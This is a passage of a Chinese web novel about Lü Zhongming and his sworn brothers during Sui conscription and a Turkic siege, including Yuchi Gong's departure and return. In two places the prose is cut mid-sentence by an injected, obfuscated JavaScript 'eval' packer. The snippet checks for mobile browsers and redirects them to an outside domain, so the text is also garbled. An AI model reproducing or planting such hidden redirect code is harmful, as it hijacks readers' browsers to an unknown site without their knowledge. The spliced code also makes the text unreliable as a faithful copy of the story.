岂止喜欢?吕仲明简直是爱喝!从小他就嗜梅子酒,金鳌岛上后山里,年年有青梅,还都是仙果,麒麟每到梅子黄时,便会酿点梅子酒。来年春天,桃花满岛,吕布便一边喝温热的梅酒,一边教小仲明读书,偶尔会给吕仲明喝一杯。 这不是爱不爱喝的问题,而是吕仲明记忆里的,家的味道。 闻到酒香时,吕仲明简直要哭了,他从来没给任何人说过,连秦琼与罗士信都不知道。 “我真的从来没说。”吕仲明想起父亲,一别已有半年了,也不知道什么时候才能回去,简直是悲从中来。 罗士信一看吕仲明表情有点不对,还以为戳中他哪儿了,忙道:“我相信你没说,拿碗来。” “兴许是碰上的。”秦琼笑道:“你怎么了?这几天都有点不太对劲。” 吕仲明便随口岔过,端起酒碗喝了口,虽然仙酿与凡汤有天壤之别,却依旧忍不住地思乡,心里堵得慌,一时间无法排解。又过一天,吕仲明懒懒地躺在床上,面朝墙壁,孤零零的一个人,想家了。 他想睡觉,睡觉就可以做梦,就可以在梦里回家去了。偏偏又睡不着,当真是无可奈何。 “怎么了?”秦琼与罗士信进来,两人摸摸吕仲明额头。 “我不舒服。”吕仲明呻吟道。 秦琼问:“哪不舒服?” 吕仲明:“全身上下……都不舒服。” 秦琼:“你不是会看病么?自己生了什么病都不知道?” 吕仲明:“我失眠……” 罗士信:“你是睡太多了,一天躺在床上十个时辰,睡得着才有鬼!给我起来!” 罗士信把吕仲明提起来,衣服裹上,扔到院子里,把弓扔给他,说:“射箭。” 吕仲明懒懒拉开弓,一箭歪歪扭扭地,射到隔壁靶子上,还中了红心。 “我出去走走。”吕仲明有气无力道。 “也好。”秦琼道。 “吃饭前回来。”罗士信提醒道。 “知道了……”吕仲明软绵绵地飘了出去,心想尉迟恭给的那酒里多半有毒,不然自己喝了怎么整个人都软了。 一出来,阳光万丈,吕仲明又有点被晒化了。路边堆着俩雪人,手拉着手,吕仲明总感觉有种说不出的滋味。 这就是无数诗歌中翻来覆去吟唱的,寂寞与空虚吗? “春花秋月何时了……”吕仲明不禁有感而发道,他转头看看四周,发现今天城里似乎有点不太一样,有隋兵正在挨家挨户敲门,似乎在询问什么。 这是在干嘛?吕仲明的大脑中一片空白,就像被阳光照着的雪地一样,走过长街,出来也不知道去哪,两条腿不听使唤,走着走着就到了三头巷内,进了尉迟恭的打铁铺。 已经有足足三天没见过面了,尉迟恭就像忘了他一样,然而吕仲明刚走进去,就看到尉迟恭赤着上身,汗流浃背,只穿着一条宽松的白色衬裤,古铜色肌肤充满健壮的美感。 更要命的是,尉迟恭的长裤本就薄,穿了感觉就跟没穿似的。吕仲明有点不自在,尉迟恭却已知道他来了,头也不回笑道:“终于来了?” 吕仲明道:“这几天你都在干嘛?怎么不来找我。” 尉迟恭把手中兵器放进熔炉里,一本正经道:“我不去找你,你就不能来找我?” 吕仲明忽然好笑,说:“青青子衿,悠悠我心,纵我不往,子宁不来?” 尉迟恭:“?” 吕仲明摆手道:“没什么,汉人的诗。” 尉迟恭笑道:“挺好听。” “这是给我的么?”吕仲明看着炉子里那把弓,尉迟恭点头,两人都沉默了,注视着被煅烧的铁弓。 “不重。”尉迟恭道:“等拿到手里,你会觉得它很轻。” 吕仲明点点头,虽然不谙锻造工艺,但他知道尉迟恭打造这把长弓时,一定非常用心,弓上都是细密的鳞纹,显是千锤百炼而成。 “那酒味道如何?”尉迟恭朝吕仲明笑笑。吕仲明想起了,问道:“你怎么知道我喜欢喝梅子酒?” “你喜欢喝梅子酒?”尉迟恭道:“我也喜欢喝,酒是你朋友送的,梅子是我买回来的。” 吕仲明:“朋友?” 尉迟恭刚要回答,门外却一阵喧哗。仿佛有人闹事,吕仲明马上警觉起身,尉迟恭道:“别出去,我去看看。” 一名隋兵进来,抬脚就踢,踹翻了装水的铁桶,吕仲明大怒道:“你做什么!” 那隋兵一瞪吕仲明,要过来找他麻烦,尉迟恭忙护着吕仲明,说:“军爷有话好说,我家小弟不懂事……” 吕仲明一见只有一人,便想动手,直接揍他一顿,将他捆起来,然而紧接着巷子内又进来数名隋兵,大吼道:“出来出来!都给我滚出来!” 说话间士兵推搡尉迟恭,尉迟恭示意不要轻举妄动,便跟着出去,又朝吕仲明连使眼色,示意他别动手。 吕仲明只得跟着出去,不知隋兵为何在这大雪天里找上门来,想必不是找自己,而是寻这巷子里住民晦气的。 外头雪已经停了,一队隋兵,足有十五人,从各家各户里把人赶出来,让所有人一字排开,站在雪地上。 被赶出来的人大多都是老幼妇孺,惴惴不安,又有隋兵翻箱倒柜,进入民居,把百姓的钱财,粮食直接就往外搬。 有人进了铁铺,一顿乱翻,铜钱叮当作响,尉迟恭装钱的木匣子被隋兵一倒,铜钱全被收走。 吕仲明:“……” 吕仲明简直怒不可遏,这哪是官兵?分明就是一群无法无天的强盗! “你,做什么的?”隋兵问道。 “军爷,我是给城西人家洗衣为生……” 被问到的妇人双手通红,局促不安,一老妪哀求道:“军爷,我们家已经没有男人了……” 糟糕,是要拉壮丁? 吕仲明心里登时出现了风雪漫天,自己两行热泪,还没跟罗士信与秦琼告别,小身板就被隋兵掳走,去经历一系列惨绝人寰的折磨的场景…… “你,是做什么的?”那隋兵拿着马鞭,抵着一个女人。 吕仲明小声朝尉迟恭道:“待会我会动手,上马把他们引走……” 尉迟恭低声道:“仲明,你别冲动,这些都不是本地兵员。而且你弓箭都不在身上。” 吕仲明沉着脸道:“不用怕,你保护他们,其余的交给我。” 吕仲明心里生出一个计划,不必通知罗士信与秦琼二人,自己上马逃跑,隋兵必然就要来追,自己弯弓搭箭,在奔马上,足够将人一路引出城去,再挨个点射。 隋兵或许罪不至死,但废其一手,或是给他们点教训是可以的。这些隋兵明显是外地来的人,若是本地官兵,不应在大雪天来抓人。 “你,是做什么的?”那隋兵道。 “小人是打铁的。”尉迟恭打着赤膊,站在雪地里,还赤着脚。 隋兵以马鞭点点吕仲明:“你呢?” “算命的。”吕仲明道。 “算命的,在打铁铺子里?”隋兵队长道。 吕仲明道:“天冷,过来找尉迟兄喝几杯。” “队正!”一名隋兵从铁铺出来,把一堆刀剑粗坯叮叮当当地扔在地上。 “几个月前,有一个朝廷钦犯,逃到了雁门关下。”那隋兵队正道:“你们见着没有?” 说毕从怀中摸出一张纸,给百姓们挨个看过,百姓们都纷纷摇头,吕仲明心中一惊,心道杨广的通缉令还追到这里来了?!不会罢。 自荥阳一战大败后,吕仲明从未对外提及自己名字,只说姓吕,世间大乱,流民众多,也无人来查他的户籍纸,多的是没名没姓的人。究竟是怎么发现的? 问到尉迟恭时,尉迟恭看了一眼,便道:“没有。” 队正又给吕仲明看,将那纸杵到吕仲明面前。 吕仲明看着那张纸,心道¥#@%……尼玛,这是什么东西……小爷就长成这样吗?! 纸上人像画得乱七八糟,五官全部挤在一块,头上发髻黑乎乎的,就像顶着一坨大便,旁边写着两个字……啊?不是他的通缉令? 那人满脸横肉,凶神恶煞,侧旁写着:李靖。 突然间尉迟恭的大手轻轻握住了吕仲明的手,手上满是汗水,稍稍一捏。 吕仲明莫名其妙,什么意思?让自己别说?本来也没见过这人啊。 “没见过。”吕仲明答道。 那隋兵打量一排人,最后目光驻留于尉迟恭脸上,说:“你,会打铁?” 尉迟恭点头道:“会。” 隋兵队长:“收拾东西,铺盖带着,今天晚上就来兵营报道……走!” 说毕所有士兵上马,离开了小巷。 吕仲明愕然,巷子里的人各自心思复杂地看着尉迟恭,有人朝他拱手,又有老妪上前关切道:“敬德……” “不碍事。”尉迟恭朝他们道:“我先送我朋友回去,仲明,你在这儿等我一会。” 说毕尉迟恭回去,穿上夹袄,吕仲明半晌说不出话来,尉迟恭便道:“走罢。” 雪纷纷扬扬地下着,今日天光甚是昏暗,上午时分,城里像是傍晚一样,昏昏沉沉的,吕仲明还没见过拉壮丁,心道是不是让尉迟恭去参军? “这是……”吕仲明诧道。 尉迟恭道:“还好你没告诉他李靖的事。” “李靖是谁?”吕仲明问。 尉迟恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563123|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诧道:“你不知道?李靖就是上回找你算过命那位,他在军中杀了人,一路逃过来的。” 吕仲明登时大惊,想起那年轻武将,问道:“就是他?你又怎么知道的?” 尉迟恭道:“他来我铺子里打过铁。” 吕仲明这才明白过来,又问:“隋兵让你去参军吗?” 尉迟恭点头不语,神情复杂,看着吕仲明,说:“今天晚上就走了。你……多保重。” 吕仲明想也不想道:“别去了。” 开什么玩笑,好不容易才找到尉迟恭,居然认识短短几天时间,就要看着他去参军?吕仲明想起曾经读到过的尉迟恭的身世,倏然发现又确实是这样,尉迟恭曾经身为官兵,立下战功,后来才投靠的李世民…… 吕仲明停下脚步,两人站在细雪飞扬的街头,天冷极了,他搓了搓手,呵了口气,尉迟恭便摘下自己的帽子,递给吕仲明暖手。那一刻,吕仲明忽然又有种奇异的感觉。 吕仲明:“你……” 尉迟恭迟疑道:“你……” 吕仲明:“你先说。” 尉迟恭笑道:“你先说罢,时间还长,晚上才走。” 吕仲明认真道:“别去了,做什么不好?” 尉迟恭道:“不去不行,三头巷子里,都是算一起的,我要不去,左邻右里都得被治罪。” 正说话时,不远处又有一条巷子里,住民被官兵赶出来,一样的流程,先是拿着通缉令挨个询问,最后又拉出一名年轻男子,说了几句话。 吕仲明与尉迟恭远远地看着,半晌没说话。 尉迟恭道:“你不是说我来日飞黄腾达,前途不可限量么?我这样总是不成,这就去寻出路了。” 吕仲明一时间竟不知该如何回答,他只觉尉迟恭这个人,对他有种奇特的关心。他有许多话想问尉迟恭,没想到居然来了这么一出。 两人沉默片刻,尉迟恭又笑笑,说:“你的两位兄弟,都是打仗的好手,说实话,那天与你们并肩作战,我就有了这个想法,你看,我什么都不会,只会抡锤子,打铁,人不能打一辈子的铁。” “人各有志。”吕仲明忽然道:“当一辈子的凡人,也没什么不好。” “可是我不想。”尉迟恭道:“我想去天策铁骑。” 吕仲明道:“以你的身手,进天策铁骑简单,我写一封信,你去找李济。” 尉迟恭摆手,说:“没必要。” 吕仲明看着尉迟恭,尉迟恭道:“我去参军,靠我自己可以。” 别人都生怕被拉壮丁,只有尉迟恭上赶着去参军,吕仲明实在拿他没办法,但他也明白尉迟恭的心情,他想磨练自己,不知是被吕仲明的话刺激了,还是那天大家一起战斗的经历,唤醒了他内心的志向。 “以后还能见到你么?”尉迟恭道。 “能。”吕仲明道:“一定能。” 尉迟恭笑笑,吕仲明道:“你去哪一队,什么地方?” 尉迟恭想了想,说:“还不清楚,待安顿下来,我托人给你带信,你会住在并州?” 吕仲明沉吟片刻,说:“等我一会。” 吕仲明走开,站到院墙后,闭上双眼,深吸一口气,脖颈处的卍字符文微微发着光。那一刻嗡的一声,他再次头昏脑涨,每次运起真力想冲破这个符文时,就会头疼欲裂。 这一次他竭力克服符文的封印,调动一身真力,虽无法使出仙术,却令手臂上,浮现出布满鳞纹的真身。紧接着他咬牙扯了一片下来。 扯下鳞片的那一刻,吕仲明登时痛得飙泪,心里大叫道妈呀怎么这么疼!老爹扯鳞的时候那面瘫脸,完全没反应啊啊啊啊! “呼……呼……”吕仲明好半晌才缓过劲来,回到尉迟恭面前,把鳞片给他。 “这是什么?”尉迟恭诧异地看着那片金色麒麟鳞。 吕仲明说:“带在身上,送你了。” 尉迟恭不知此物作用,便收了起来。 “后会有期。”尉迟恭道。 “后会有期。”吕仲明低声道。 吕仲明转身离去,这一次,尉迟恭没有送他,只是远远地看着他。 他拿出那片鳞,放在手心里看了看,又小心地以手指摩挲它,转身要回铁铺时,拐角又转出了一个人,抱着手臂,倚在墙边打量他,从头打量到脚。 尉迟恭看着突然出现的秦琼,不说话。 “尉迟将军。”秦琼冷冷道:“你还想骗我小弟多久?” 尉迟恭脸色一变,继而无奈一笑,抱拳道:“失策了,阁下是怎么看出来的?” 秦琼:“打铁铺里消息灵通,关外关内,武人都在此处修兵器,打兵器,罗成看出将军你一身好功夫,装什么都容易露馅,只有装成个铁匠在此处卧底,大家才不会怀疑。” 尉迟恭沉吟,点头,答道:“不瞒兄台说,敬德确是身负重任。” “你的任务是监视突厥人动向?”秦琼抬眼道:“城中应当还有不少你的眼线,是不是?” 16. 第十五回:守城 尉迟恭没有回答,秦琼道:“寻常一铁匠,怎么可能心思如此慎密,察知突厥的劫掠计划后,还把内应打昏了藏在酒窖里,带仲明去看?但我不明白,你为何要让仲明帮你解决此事。想试探我们?谁授意你试探我们的?罗成早就看出你想打听我们消息……” 尉迟恭道:“秦将军恕罪,敬德绝无试探之意,待仲明,确是真心使然。” 秦琼道:“那天出发前你匆匆忙忙离开,想必也是通知手下,让人前去朝刘文静搬援兵了。” 尉迟恭一笑:“没想到都被秦将军看出来了。” 秦琼道:“我开始还在奇怪,李济又是什么人?是你上司?” 尉迟恭道:“李大人不日间,还会上门拜访,这次他会分说清楚,敬德不敢妄论李大人之事。” 秦琼道:“你真正露出马脚的那次,是刘文静看你的一眼,那天你俩明显认识,又装作不认识。” 尉迟恭叹了口气,解释道:“塞外突厥人肆虐日久,连唐国公都无计可施,并州虽说兵力强盛,但要一搦突厥可汗,太难,被连番洗劫,又无法抵抗,只得设法保住百姓,减少损失。” 秦琼又问:“现在呢?为什么要把你调走?” 尉迟恭淡淡:“突厥进犯晋阳,来年将有一场苦战,敬德一来必须回晋阳协助,二来……” “二来。”秦琼悠然道:“装不下去了,怕被仲明识破。” 尉迟恭笑而不语。 “罢了,后会有期。”秦琼道。 尉迟恭忽然道:“秦将军留步。” 秦琼抬眼瞥尉迟恭,尉迟恭道:“突厥兵马进犯,请二位协助一事,乃是敬德老友李靖大人告知,得他书信指点,着我寻仲明,才有此唐突之举,盼兄弟朝罗兄代为分说。” “李靖?”秦琼略一沉吟。 尉迟恭便解释道:“就是那天在算命摊前,受了仲明二两银子那人。如今已往晋阳,投奔唐国公。” 秦琼明白了,说:“只朝罗成解释?” 尉迟恭迟疑,秦琼道:“仲明我就不管了,再会。” 秦琼要走,尉迟恭又道:“秦兄弟。” 秦琼知道尉迟恭想说什么,嘲笑道:“仲明其实聪明得很。” 尉迟恭笑道:“是。” 秦琼道:“之所以一时糊涂,是因为他先入为主,没将你当外人,你说什么,他就信什么。否则早就看穿你这点小花招了,我和罗成都不去揭穿你,不过要骗人,你最好就骗到底,否则……嘿嘿,惹恼了他,来日有的你受的。” 尉迟恭:“……” 吕仲明回到家里,只觉人生一片灰暗,罗士信一脸漠然,正在玩一把小刀。 吕仲明回来就朝胡床上一趴,蠕动到被子里去,不动了。 罗士信也见怪不怪,懒得理他。 不多时,吕仲明又从被子里伸出半个脑袋,眼睛看着罗士信,问:“秦大哥呢?” 罗士信:“买菜。” 吕仲明:“尉迟要走了。” 罗士信:“去哪?” 吕仲明:“当兵。” “好男不当兵,好铁不打钉。”罗士信自嘲般地笑笑,不知道在笑尉迟恭,还是在嘲笑自己。 吕仲明自言自语道:“我还好多话没问,怎么这就走了。” 吕仲明趴着又渐渐睡着了,迷迷糊糊听见秦琼回来了,和罗士信说了点什么,再睁眼时,看见秦琼在和面,罗士信在包饺子。 “饺子——!”吕仲明登时就精神了,捋了袖子过来帮忙。 一炷香过去。 “求你了,别包了成不……”罗士信与秦琼苦苦哀求道。 吕仲明的饺子包得乱七八糟,歪瓜裂枣,罗士信的饺子则包出来都是白白胖胖的,吕仲明坚持要包,罗士信便道:“自己包的自己吃。” 于是是夜,三个人就凑在一起吃饺子,最后果然还是秦琼和罗士信分着吃了吕仲明包的饺子,而吕仲明吃的饺子都是囫囵的。 吕仲明边吃边把尉迟恭的话说了,秦琼与罗士信交换了个眼色,说:“让他去罢。” “说不定哪天再出现在你面前。”罗士信漫不经心道:“就成了个大将军呢。” 秦琼附和道:“就是,说不定再回来,就官居一品了。” 吕仲明沉默良久,摇摇头,他相信尉迟恭会混得很好,也相信他们很快会再见面,然而尉迟恭一走,他的内心总觉得空空荡荡的。更要命的是,这种每天有饺子吃,有酒喝,和罗士信秦琼俩人一起过小日子的生活,居然感觉还不错。 走了个尉迟恭都有点受不了,要是哪天和秦琼罗士信分离了怎么办?吕仲明想都不敢想,太可怕了。以后有机会得回去点仙丹,大家一起吃了白日飞升,永远在一起。 嗯,必须的。 “小二愣子又在傻笑什么?”罗士信莫名其妙道。 “没笑什么。”吕仲明泪流满面。 夜,晴月万里,吕仲明听到窗格上一声轻响,瞬间就醒了。 窗外一个人影闪过,吕仲明迟疑要不要去追,然而那人影已消失了。 尉迟恭放下弓,跃出院墙去,罗士信穿着一条黑色武裤,显是才起来,站在巷子口处,冷冷道:“站住。” 尉迟恭拎着个包裹,搭在一侧肩后,驻足巷内。 罗士信左手拳,右手掌,拉开些许,冷冷道:“罗成不才,家里也容不得你想来就来,想走就走。想朝尉迟兄讨教几式。” 尉迟恭笑笑,朝罗士信抱拳,沉声道:“罗兄弟,今日在下身有要事,改日唐王府中再会如何?” 罗士信冷冷道:“不敢?” 尉迟恭道:“杨广避走扬州,突利汗窥见中原积弱,高丽之战迟迟未定,将大举进关,南下掳掠。恳请罗兄,将此事暂且一放。” 罗士信淡淡道:“你要去何处?” 尉迟恭答道:“朝北走。” 罗士信眯起眼,尉迟恭道:“这一去,不知能否再归来。中原战事频繁,各地义军已再控制不住,但突厥人万万不可进关,否则中原大地休矣。他朝有缘,期望再会。” 罗士信警觉地意识到了什么,问道:“你要去刺杀突厥的可汗?” 尉迟恭没有回答,一躬身,绕过罗士信离开。 吕仲明点起灯,握着尉迟恭给他的那把弓,长弓通体漆黑,鳞纹中泛着金色,弓弦看不出质地,但显然是费尽心机所制。手指一弹,金铁声嗡嗡作响,弓腰刻着四个古篆:**** 吕仲明不认识这四个字…… 第二天,吕仲明拿着那把弓去问罗士信与秦琼。秦琼也看不出来,罗士信则更看不出来了。 秦琼和罗士信在门外贴春联,罗士信躬着身子,秦琼踩在罗士信背上,将横批贴上。 “给你你就收着。”秦琼道。 罗士信躬身,抬头看着吕仲明,说:“待你这么好,不容易。” 秦琼拍拍手,笑道:“就是,哥哥们还没给你东西呢。” 吕仲明递给他们两块鳞片,说:“喏,这个给你们。” 罗士信:“???” 秦琼看了一眼便收着,吕仲明便抱着那把弓,坐在门外看自己写的春联。 秦琼赞道:“当真好字。” 吕仲明道:“以前当兵那会,军营里过年吗?” “哪有什么年。”罗士信随口道:“都是战场上过的,还得提防着掉脑袋。” 秦琼笑道:“跟你俩逃出来了,才这么过日子,换了从前是想都不用想的。也不知道能再这么过上个几年。” “可以过很久。”吕仲明笑道:“大家都会功成名就,过一辈子,然后,好好地呆在床上,儿孙满地,自然老死的。” 罗士信道:“过完年,这里就不能呆了。” 秦琼看了罗士信一眼,示意他别多说,吕仲明却在想未来的事,一时半会也没听见。当天晚上,雁门关下代县家家户户放鞭炮,庆贺过年。 又过了将近半个月,冰雪消融之时,北方传来消息,刘文静在阻击突厥的战斗中落败,突厥人即将大举入侵。中原调来不少兵马,一时间代县百姓人人自危,登时紧张起来。 隋兵挨家挨户拉壮丁,让从未受过训练的男丁拿上武器,前往雁门关下,抗击突厥。 元宵还没过,城东登时空了一大半,家家户户都在担心突厥入侵的事,已有不少人舍下家业,南下逃生。 “去哪?!”隋兵统领在外围巡逻,大声喝斥百姓,怒吼道:“都给我滚回去!再出来一步,格杀勿论!” 隋兵牢牢把守住出城口,已有不少百姓翻出土郭去,试图逃离,隋兵便在喉头射箭,有人发出惨叫声,摔下墙去。 恰好这日秦琼出来买菜,一路过看见,便怒不可遏,吼道:“杀百姓做什么!你们还是不是官兵!一群土匪!” 秦琼在城墙下这么一吼,隋兵便纷纷围上来,百姓也已经忍无可忍了,双方剑拔弩张,冲突一触即发时,吕仲明终于找到了秦琼,快步追上来。 “别吵架别吵架。”吕仲明道:“大家都回去罢,别朝外跑,现在外头更不安全。” 吕仲明四处看看,爬上一个板车,朝百姓们道:“南边传来消息,突厥人已经侵占了整个并州,现在外头官道上都是突厥游击,离开代县也没用,走不了多远就得被打劫。东边又有叛军作乱,哪儿都不安全,留在城里,听我一言。” “那小子是谁?”隋兵统领道。 “本地的一个算命先生。”部下道:“是个道士。” 吕仲明又双手外扬,赶鸭子般将他们赶回去,百姓们听吕仲明所言也有理,便一时间都散了。吕仲明回头望隋兵队长,见其凶神恶煞,本想与他交流几句,便打消了这个念头,下来搭着秦琼肩膀回家去。 “怎么出来了?”秦琼问道。 “罗大哥说外头乱。”吕仲明道:“让我找你回家。” 秦琼叹了口气,问:“怎么办?这一仗能胜不?” “不知道。”吕仲明摇头,他是真的不知道,这种小战役他根本不记得。问秦琼道:“要走么?” “走去哪?”秦琼道:“整个天下,竟然没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563124|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个能住的地方。” 秦琼所言不假,现在的中原大地已经战火四起,没有一个能落脚的地方了。反正以能力,也足够自保,吕仲明是不担心自己三人的。 然而回到家门口,就听见罗士信与隋兵正在争执。 “国难当头!”隋兵道:“我管你什么人!马上拿起武器去参军!” 罗士信也炸了,怒道:“说了不去就是不去!你有什么权利使唤我?我兄弟没回来!哪里也不去!” 秦琼与罗士信进去,见两名来征兵的隋兵一身铠甲,拿着武器,罗士信一言不发,进屋去提长槊。 吕仲明生怕罗士信一动起手来,庭院内血溅五步,待会又要擦洗半天,忙道:“罗大哥,别动手!有话好说!” “你兄弟回来了。”隋兵道:“现在就去。” 秦琼抱拳道:“军爷,我这兄弟脾气爆,待会我劝劝他,您先请。” 那隋兵也不想真的动手,毕竟此时城内人心惶惶,极易激起民变,便悻悻看了他们一眼,说:“早点来军营报道。” 隋兵走了,吕仲明关上门,三人在院子里面面相觑。 “打仗么?”罗士信问二人。 吕仲明道:“打吧,兵荒马乱的,也没地方去了。” 秦琼点头道:“先吃了饭再说,才有力气打仗。” 于是三人吃了午饭,秦琼又嘱咐吕仲明多吃点,毕竟一进军营,就又要回到每天躺在床上避免消耗体力的生涯了,吕仲明便拼命塞,吃了三大碗饭,去报道时还猛打饱嗝。 军营外到处都人,全是被抓回来参军的老百姓,隋兵推推搡搡的,给他们发武器,盔甲是没有的,每人一把生锈的铁剑,就可以拿着上阵去捅人了。 “你!到这边来!” 隋兵骂骂咧咧道,吕仲明被推到一个队伍里,拿了一把连木柄都没有的大柴刀,又被推到方阵里去练兵。秦琼则领到一把剑,罗士信拿了条铁链子,呼呼飞了飞。 吕仲明扛着刀过去,登时引起一阵哄笑。 “吕道长!你也来了!”有百姓笑道。 吕仲明莞尔道:“可不是么,国家兴亡,匹夫有责,道长也得上阵打仗啦。” 这话又引起一阵大笑,那一队足有两百多人,都蹲在地上拉家常聊天。又有人问:“道长,给算一卦罢,咱们能活下来吗?” 吕仲明笑笑道:“我说能,你信吗?” 众人又笑了起来,吕仲明道:“求道,修道,不是为了避死。是为了悟道。” “悟道就能不死么?”有人问道。 吕仲明笑道:“悟道能让你不怕死。” 那一下又是全场大笑,一名隋兵过来,大声道:“不要再在那里妖言惑众了!都站好站好!集合了!你到后头守城墙去!” 那隋兵见吕仲明扛着把大刀都吃力,便要把他赶出去,秦琼忙道:“军爷,这是我小弟,我们仨是一起的。” 隋兵看着秦琼,罗士信道:“要活一起活,要死一起死,你将他拎出去,我们也不打了,这就回家去罢。” 隋兵见罗士信这么说,便道:“那就留下来罢。” 说毕,隋兵便将诸人集合在一起,开始练兵,先是说了点和突厥人交手时要做什么,怎么打,又教了些格挡,招架的手法,吕仲明听得一脸麻木,这伙人连战马都没有,拿着锈刀铁剑,就要上去跟人骑兵打仗,根本就是当炮灰的命。 休息时,民兵们仍在似是而非地习练把式,秦琼过来问道:“怎么打。” 吕仲明无奈叹了口气。 “打不过。”吕仲明道。 “用上次那招行得通不?”罗士信问道。 “红磷吗?”吕仲明皱眉道:“不可行……现在没风。而且这一仗,不是咱们说了算,再多的办法,也无法实施。” “突厥人擅平原突击,不擅攻城。”吕仲明道:“如果让我守这座城,我会让所有民夫都把武器扔了,马上推土,加固城墙。再朝城墙上浇水。” “好办法!”秦琼一听就道:“接下来呢?。” “死守。”吕仲明道:“代县本来就不是他们的战略目标,只是在侵占并州的过程中的一步,守上个十天,等到上党,晋阳几城率军来援,突厥必去。” 罗士信道:“万一晋阳不来救呢?” 吕仲明道:“那就……” “七窍流血而死了。”秦琼无奈道:“我去找守城的,找他谈谈。” 罗士信拿起武器道:“我陪你去谈。” 秦琼:“我是用嘴谈,不是用棍棒谈!” 罗士信讪讪,吕仲明忍不住好笑,秦琼便转身走了。他从军多年,虽说现在成了逃兵,却仍深谙军队系统交涉之道。想必能说服守军将领。 吕仲明拿着大刀,与罗士信二人劈砍练习,没到半个时辰就累得不行,隋兵通知道:“今天先回去各自练罢,记清楚番号,明天早上准备过来。” 于是众人便作鸟兽散,各自回家干活陪老婆了,秦琼一时间还未回来,罗士信便让吕仲明先回去睡觉,自己在校场外等他。 17. 第十六回:日蚀 当夜点灯时分,外面敲锣打鼓,所有人惊慌大喊,吕仲明被猛地惊醒,带上弓箭要出门时,秦琼一阵风般地进来,说:“谈好了,罗士信就在城下,我去帮忙守城!” “突厥人来了吗?”吕仲明睡得迷迷糊糊,抓起弓就朝外跑,秦琼道:“已经来了,你别添乱,在家里呆着。” 吕仲明道:“我也去!” “明天。”秦琼道:“用得着你的时候多了去了。不急在这一时,现在突厥人也未必就冲进城里来。” 说毕秦琼拍拍吕仲明,示意他回去睡觉。 全城惊惶,突厥人已来了,就在平原外不远处,看那火把,足足有两三万人,代县内灯火通明,民夫,百姓,全在推土,将一车车的土朝土墙上送,要把城墙垒高起来。代县有雁门关为屏障,自古便不甚修葺,只有土墙叠在外围作简单防护之用。 眼下寒风凛冽,百姓将冷水浇在土墙上,水结成冰,布满了墙体,无法攀爬。突厥大军则在外驻军,远远地看着。 隋军打着火把,两方对垒,秦琼与罗士信分别在两处巡逻,将领过来,朝秦琼道:“只怕他们会马上攻城。” 秦琼稍一沉吟便道:“不会,你看他们的攻城木具还没有到。” 双方交谈数声,那隋兵首领从前便知张须陀大名,也知秦琼曾在张须陀麾下当差,如今突厥围城,谁也跑不掉,秦琼亮明身份,隋兵将领也知万一城破了,谁也跑不掉。秦琼的身份是钦犯也好,平民也罢,这个时候,大家都得一起尽力守住城。 早上,吕仲明躺在床上,辗转反侧,外头一会儿是推车声,一会儿是紧张的大声交谈,令他睡不着,便起来看日前绘的地图。 然而隐隐约约的,他忽然察觉不对,心跳得十分厉害,那种感觉已维持了将近数日,越到突厥前来时,他便越觉得心惊胆战。仿佛有种不祥的预感,在心底阵阵起伏。 吕仲明仿佛听见尉迟恭的声音在叫他。也不知道尉迟恭去参军,现在怎么样了,是在抗击突厥的战役里,还是随大军前往中原,去剿灭叛军。 吕仲明脑海中胡思乱想,又想到一个问题,除了对敌那面,其余城墙也得严守,谨防突厥人半夜偷袭。得去通知罗士信…… 吕仲明穿上衣服奔出来,忽然停步,感觉到背后发生了什么,转头一看,巷子里,有一道血迹,拖向他们家的后院。他瞬间皱起眉头,眼睛眯了起来,循着血迹走去,看见血迹越拖越远,直到院墙下。 在那里,有一个男人,于初升的朝晖下,身上披满晨曦之光,背靠院墙,浑身鲜血,坐着喘气。 那人正是尉迟恭。 房内。 尉迟恭身中数箭,只有出的气,没有进的气了。 “你怎么进来的?!”吕仲明难以置信道,外面大军围城,全是突厥人,尉迟恭这个时候出现在城里!还是在自己家的墙外! 尉迟恭紧紧握着吕仲明的手,鼻孔,嘴里溢出血沫,连话也说不出来了,出血太厉害,先得给他止血,吕仲明手忙脚乱地翻找匕首,找到匕首后,割开尉迟恭的里衣,登时深吸一口气。 有一根箭,从背后将尉迟恭透胸而过,箭头从胸前穿透出来,被折断的箭簇深没其肺,卡在他的肋骨中,距离他的心脏只有不到两指。 尉迟恭艰难道:“酒肆……后。” “什……什么?!”吕仲明凑过去。 “有……出城的密道。”尉迟恭断断续续道:“突厥人进城了……去……把它……关上,别……管……我……” 刹那间,吕仲明面临着一个极其艰难的决定,尉迟恭流血不止,如果这个时候离开,尉迟恭说不定会死。 吕仲明刹那间大吼一声,掀翻了柜子,东西稀里哗啦地倒了下来。 他站着不住喘息,继而喘气声渐渐平息下来,转身单膝跪地,解开尉迟恭的单衣,要取出深陷腹中的箭头。 “仲……明,听我……说……” “什么都不必说……”吕仲明的声音低沉而沙哑:“你不会死的。” 尉迟恭:“你……我……” “妈的,给我闭嘴。”吕仲明冷冷道。 尉迟恭猛然喘气,牙关咬得紧紧的,吕仲明伸手进他胸腔,手指捏着箭头,闭上眼睛,缓缓使力。 尉迟恭的心跳短暂地停了。 房中陷入了诡异的沉默之中,尉迟恭不住抽搐,瞳孔渐渐涣散,吕仲明的声音离他远去。 “你不会死的……尉迟恭……你还有很多很多年……可以活……” 